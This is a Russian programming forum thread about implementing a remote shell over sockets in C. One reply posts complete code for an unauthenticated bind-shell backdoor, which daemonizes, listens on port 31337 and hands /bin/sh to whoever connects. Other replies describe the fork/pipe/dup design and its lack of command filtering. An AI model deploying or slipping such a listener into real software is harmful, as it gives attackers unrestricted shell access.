VPF::несколько вопросов по remote shell - Форум программистов

boostcoder

Дата 19.2.2011, 23:00 (ссылка)

(нет голосов)

Загрузка ...

pattern`щик

Профиль
Группа: Завсегдатай
Сообщений: 5458
Регистрация: 1.4.2010

Репутация: 16
Всего: 110

всем доброго вечера.
к некоторому проекту, хочу написать пример в виде уделенного шела.
т.е.: клиентское приложение коннектится к серверному, и шлет команды введенные пользователем. серверное приложение, обратно отсылает ответы.
к примеру, юзер ввел команду "pwd". в ответ он должен получить понятно что. или такой пример: юзер ввел команду "ls", в ответ должен получить тоже понятно что.

как обычно такое реализуется?
я предполагаю, что на серверной стороне нужно работать с шелом, вместо того чтоб каждую пользовательскую команду выполнять с помощью system() или popen() ?
какие варианты?

спасибо.

--------------------

компилятор онлайн с поддержкой C++11
сборки компиляторов MinGW

500mhz

Дата 19.2.2011, 23:07 (ссылка)

(нет голосов)

Загрузка ...

шайтан

Профиль
Группа: Завсегдатай
Сообщений: 1017
Регистрация: 5.5.2008
Где: Киев / Italy

Репутация: нет
Всего: 14

google -> bind shell

--------------------

MAKCim

Дата 20.2.2011, 12:39 (ссылка)

(нет голосов)

Загрузка ...

Воін дZэна

Профиль
Группа: Экс. модератор
Сообщений: 5644
Регистрация: 10.12.2005
Где: Менск, РБ

Репутация: 84
Всего: 207

fork + pipe + dup
создаешь процесс shell'а
связываешь stdin/stdout с пайпом
читаешь данные с сокета, пишешь в пайп, читаешь с пайпа данные, пишешь в сокет

--------------------

Ах, у елі, ах, у ёлкі, ах, у елі злыя волкі ©

fish9370

Дата 20.2.2011, 13:27 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 663
Регистрация: 15.4.2007
Где: Москва

Репутация: 2
Всего: 1

замысел похож на бэкдор (bindshell)

Код


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
^
int main(int argc, char *argv[])
{
  int sd, cli, port;
  struct sockaddr_in servaddr;
  port = 31337;

  daemon(1, 0);
  if (argc != 1) port = atoi(argv[1]);

  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = INADDR_ANY;
  servaddr.sin_port = htons(port);

  sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)))
    perror("bind() failed");

  listen(sd, 1);
  cli = accept(sd, NULL, 0);
  dup2(cli, 0);
  dup2(cli, 1);
  dup2(cli, 2);
  execl("/bin/sh", "sh", NULL);
}

--------------------

undefined

MAKCim

Дата 20.2.2011, 13:44 (ссылка)

(нет голосов)

Загрузка ...

Воін дZэна

Профиль
Группа: Экс. модератор
Сообщений: 5644
Регистрация: 10.12.2005
Где: Менск, РБ

Репутация: 84
Всего: 207

Цитата(fish9370 @ 20.2.2011, 13:27

)

замысел похож на бэкдор (bindshell)

здесь нет контроля

--------------------

Ах, у елі, ах, у ёлкі, ах, у елі злыя волкі ©

fish9370

Дата 20.2.2011, 13:52 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 663
Регистрация: 15.4.2007
Где: Москва

Репутация: 2
Всего: 1

Цитата(MAKCim @ 20.2.2011, 13:44

)

здесь нет контроля

я что-то не так понял?

--------------------

undefined

MAKCim

Дата 20.2.2011, 14:05 (ссылка)

(нет голосов)

Загрузка ...

Воін дZэна

Профиль
Группа: Экс. модератор
Сообщений: 5644
Регистрация: 10.12.2005
Где: Менск, РБ

Репутация: 84
Всего: 207

Цитата(fish9370 @ 20.2.2011, 13:52

)

я что-то не так понял?

здесь нет возможности перед передачей шеллу пропарсить команду и отфильтровать если что

--------------------

Ах, у елі, ах, у ёлкі, ах, у елі злыя волкі ©

500mhz

Дата 20.2.2011, 14:22 (ссылка)

(нет голосов)

Загрузка ...

шайтан

Профиль
Группа: Завсегдатай
Сообщений: 1017
Регистрация: 5.5.2008
Где: Киев / Italy

Репутация: нет
Всего: 14

MAKCim
а зачем собственно?

--------------------

boostcoder

Дата 20.2.2011, 20:50 (ссылка)

(нет голосов)

Загрузка ...

pattern`щик

Профиль
Группа: Завсегдатай
Сообщений: 5458
Регистрация: 1.4.2010

Репутация: 16
Всего: 110

Цитата(MAKCim @ 20.2.2011, 12:39)

понял.
спасибо.

--------------------

компилятор онлайн с поддержкой C++11
сборки компиляторов MinGW

fish9370

Дата 20.2.2011, 21:10 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 663
Регистрация: 15.4.2007
Где: Москва

Репутация: 2
Всего: 1

Цитата(MAKCim @ 20.2.2011, 14:05

)

здесь нет возможности перед передачей шеллу пропарсить команду и отфильтровать если что

я согласен, данная реализация годится, разве что, для бэкдора.. но на его задание похоже..

--------------------

undefined

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| C/C++: Программирование под Unix/Linux \| Следующая тема »